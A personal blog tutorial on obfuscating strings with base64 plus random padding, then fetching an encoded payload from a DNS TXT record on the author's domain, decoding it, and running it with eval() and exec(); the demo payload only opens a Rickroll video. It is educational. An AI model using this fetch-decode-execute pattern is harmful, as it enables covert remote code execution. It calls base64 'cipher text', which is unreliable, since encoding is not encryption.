tyrel.cloud


All posts tagged:


Encoding and Decoding with Python

Updated by Tyrel on 2021-12-05

Summary

Example of how to use python and base64 to transform clear text into cipher text, and also show how to use DNS as a transport for remote code execution!

Encoding and Decoding the Secret

Import Modules

import base64 # Built-in Module that we will be using to do the Encoding and Decoding
import random # Built-in Module that will allow us to select random characters from a list or str
import string # Built-in Module that will give us pre-built character sets

Define Encode Function

def my_encode_function(input_string, debug=False):
    '''
    This function will be used to hide information in plain sight!
    '''
    if debug:print(f'INPUT  = {input_string}\n')
    bytes_obj = input_string.encode() # UTF-8 bytes object
    encoded_bytes_obj = base64.b64encode(bytes_obj) # base64 encoded bytes object
    if debug:print(f'BYTE OUTPUT = {encoded_bytes_obj}\n')
    encoded_str_obj = encoded_bytes_obj.decode() # base64 encoded unicode object
    if debug:print(f'STR OUTPUT = {encoded_str_obj}\n')
    # 2x random 10 character padding
    f_padding = ''.join(random.choices(string.ascii_letters+string.digits, k=10)) 
    b_padding = ''.join(random.choices(string.ascii_letters+string.digits, k=10))
    # Add Padding to front and back of base64 encoded unicode object via concatenation
    padded_encoded_str = f'{f_padding}{encoded_str_obj}{b_padding}' 
    if debug:print(f'Final STR OUTPUT = {padded_encoded_str}\n')
    return padded_encoded_str

Test Encode Function

password = 'secret_password'
x = my_encode_function(password, debug=True)
INPUT  = secret_password

BYTE OUTPUT = b'c2VjcmV0X3Bhc3N3b3Jk'

STR OUTPUT = c2VjcmV0X3Bhc3N3b3Jk

Final STR OUTPUT = 0TBY5zp0Enc2VjcmV0X3Bhc3N3b3JkV4Dvp6PthG

Define Decode Function

def my_decode_function(input_string, debug=False):
    '''
    This function will be used to decode a base64 encoded object and convert it back to string 
    '''
    if debug:print(f'INPUT  = {input_string}\n')
    # Remove Padding
    input_string = input_string[10:-10]
    # Decode bytes
    decoded_bytes_obj = base64.b64decode(input_string)
    if debug:
        print(f'OUTPUT = {decoded_bytes_obj}\n')
        print(f'Coverting {decoded_bytes_obj} to a string!\n')
    # Convert to String
    string_obj = decoded_bytes_obj.decode()
    if debug:print(f'RESULT = {string_obj}')
    return string_obj

Test Decode Function

y = my_decode_function(x, debug=True)
INPUT  = 0TBY5zp0Enc2VjcmV0X3Bhc3N3b3JkV4Dvp6PthG

OUTPUT = b'secret_password'

Coverting b'secret_password' to a string!

RESULT = secret_password

Demo How the Encode Function Never Returns the Same String

Can you see the pattern?

my_pass_lst = []
for _ in range(20):
    x = my_encode_function(password, debug=False)
    my_pass_lst.append(x)

for pwd in my_pass_lst:
    print(pwd,end=' ')
gIUL8vLKWKc2VjcmV0X3Bhc3N3b3JkbMeAPTot1i VMV95cSkAfc2VjcmV0X3Bhc3N3b3JkbDuQAzvarT 7xyKvUIjGLc2VjcmV0X3Bhc3N3b3JkQ5MvAx5Lv5 qY70vRX8VDc2VjcmV0X3Bhc3N3b3JkW8Nzjn75cO 5TaScRTvvKc2VjcmV0X3Bhc3N3b3JkxFIciuifGB 6BuTm3P4B7c2VjcmV0X3Bhc3N3b3JkOxFEd4N4uE MU8ADCJJMMc2VjcmV0X3Bhc3N3b3Jk82Vn6Qcp7A llrTSoeaQyc2VjcmV0X3Bhc3N3b3JksCRTNJIEbj 6dMxsrEAwGc2VjcmV0X3Bhc3N3b3JksD2msFCD6m VA4rbzb5PRc2VjcmV0X3Bhc3N3b3JkkgHghNfDTY GWDw5djYaAc2VjcmV0X3Bhc3N3b3JkmH73wLUiOH bc6CEkOVSyc2VjcmV0X3Bhc3N3b3Jkb37gVTOoW2 3TJ4Xc9LxIc2VjcmV0X3Bhc3N3b3JkNO9gmCFpTP OEFeHgdJkqc2VjcmV0X3Bhc3N3b3JkUYEW9dSICV d3Pk47Vu76c2VjcmV0X3Bhc3N3b3JkSp6LRu1lfi e7NeLmZScRc2VjcmV0X3Bhc3N3b3JkFjm8ZAcjM0 YDhg9Bc94Wc2VjcmV0X3Bhc3N3b3Jk7mAc5AIW8n e5arVWfp9oc2VjcmV0X3Bhc3N3b3JkjvVDcLnSyG wJBYBc8lXFc2VjcmV0X3Bhc3N3b3JkeDgjcjpks4 Bp1BD0KKPEc2VjcmV0X3Bhc3N3b3JkVqywizZ3RM 

Pattern recognition becomes much easier when we stack vertically

for pwd in my_pass_lst:
    print(f'Input = {pwd} \tOutput = {my_decode_function(pwd, debug=False)}')
Input = gIUL8vLKWKc2VjcmV0X3Bhc3N3b3JkbMeAPTot1i    Output = secret_password
Input = VMV95cSkAfc2VjcmV0X3Bhc3N3b3JkbDuQAzvarT    Output = secret_password
Input = 7xyKvUIjGLc2VjcmV0X3Bhc3N3b3JkQ5MvAx5Lv5    Output = secret_password
Input = qY70vRX8VDc2VjcmV0X3Bhc3N3b3JkW8Nzjn75cO    Output = secret_password
Input = 5TaScRTvvKc2VjcmV0X3Bhc3N3b3JkxFIciuifGB    Output = secret_password
Input = 6BuTm3P4B7c2VjcmV0X3Bhc3N3b3JkOxFEd4N4uE    Output = secret_password
Input = MU8ADCJJMMc2VjcmV0X3Bhc3N3b3Jk82Vn6Qcp7A    Output = secret_password
Input = llrTSoeaQyc2VjcmV0X3Bhc3N3b3JksCRTNJIEbj    Output = secret_password
Input = 6dMxsrEAwGc2VjcmV0X3Bhc3N3b3JksD2msFCD6m    Output = secret_password
Input = VA4rbzb5PRc2VjcmV0X3Bhc3N3b3JkkgHghNfDTY    Output = secret_password
Input = GWDw5djYaAc2VjcmV0X3Bhc3N3b3JkmH73wLUiOH    Output = secret_password
Input = bc6CEkOVSyc2VjcmV0X3Bhc3N3b3Jkb37gVTOoW2    Output = secret_password
Input = 3TJ4Xc9LxIc2VjcmV0X3Bhc3N3b3JkNO9gmCFpTP    Output = secret_password
Input = OEFeHgdJkqc2VjcmV0X3Bhc3N3b3JkUYEW9dSICV    Output = secret_password
Input = d3Pk47Vu76c2VjcmV0X3Bhc3N3b3JkSp6LRu1lfi    Output = secret_password
Input = e7NeLmZScRc2VjcmV0X3Bhc3N3b3JkFjm8ZAcjM0    Output = secret_password
Input = YDhg9Bc94Wc2VjcmV0X3Bhc3N3b3Jk7mAc5AIW8n    Output = secret_password
Input = e5arVWfp9oc2VjcmV0X3Bhc3N3b3JkjvVDcLnSyG    Output = secret_password
Input = wJBYBc8lXFc2VjcmV0X3Bhc3N3b3JkeDgjcjpks4    Output = secret_password
Input = Bp1BD0KKPEc2VjcmV0X3Bhc3N3b3JkVqywizZ3RM    Output = secret_password

Taking it further

DNS as a Transport

Query For A Record

import subprocess

output = subprocess.run('nslookup trigger.tyrel.cloud'.split(), capture_output=True)
print(output.stdout.decode())
Server:     127.0.0.1
Address:    127.0.0.1#53

Non-authoritative answer:
Name:   trigger.tyrel.cloud
Address: 8.8.8.8

Query For TXT Record

output = subprocess.run('nslookup -q=TXT trigger.tyrel.cloud'.split(), capture_output=True)
print(output.stdout.decode())
Server:     127.0.0.1
Address:    127.0.0.1#53

Non-authoritative answer:
trigger.tyrel.cloud text = "7W0tlibjmeCmltcG9ydCB3ZWJicm93c2VyCmltcG9ydCBkYXRldGltZSBhcyBkdAoKcHJpbnQoZHQuZGF0ZXRpbWUubm93KCkpCndlYmJyb3dzZXIub3BlbignaHR0cHM6Ly95b3V0dS5iZS9kUXc0dzlXZ1hjUT90PTE/YXV0b3BsYXk9MScsIG5ldz0xKQpwcmludCgnWW91IGhhdmUgYmVlbiBSaWNrUm9sbGVkJykKxuhjfgA9HF"

Authoritative answers can be found from:

Parse Output

for line in output.stdout.decode().split('\n'):
    if 'text =' in line:
        txt = line.split('text = ')[1]
        print(txt)
"7W0tlibjmeCmltcG9ydCB3ZWJicm93c2VyCmltcG9ydCBkYXRldGltZSBhcyBkdAoKcHJpbnQoZHQuZGF0ZXRpbWUubm93KCkpCndlYmJyb3dzZXIub3BlbignaHR0cHM6Ly95b3V0dS5iZS9kUXc0dzlXZ1hjUT90PTE/YXV0b3BsYXk9MScsIG5ldz0xKQpwcmludCgnWW91IGhhdmUgYmVlbiBSaWNrUm9sbGVkJykKxuhjfgA9HF"

Evaluate and Decode

txt = eval(txt)

secret_message = my_decode_function(txt, debug=False)

print(secret_message)
import webbrowser
import datetime as dt

print(dt.datetime.now())
webbrowser.open('https://youtu.be/dQw4w9WgXcQ?t=1?autoplay=1', new=1)
print('You have been RickRolled')

Execute

exec(secret_message)
2021-12-05 21:07:44.021478
You have been RickRolled
Feel like I missed something? Let me know in the comments!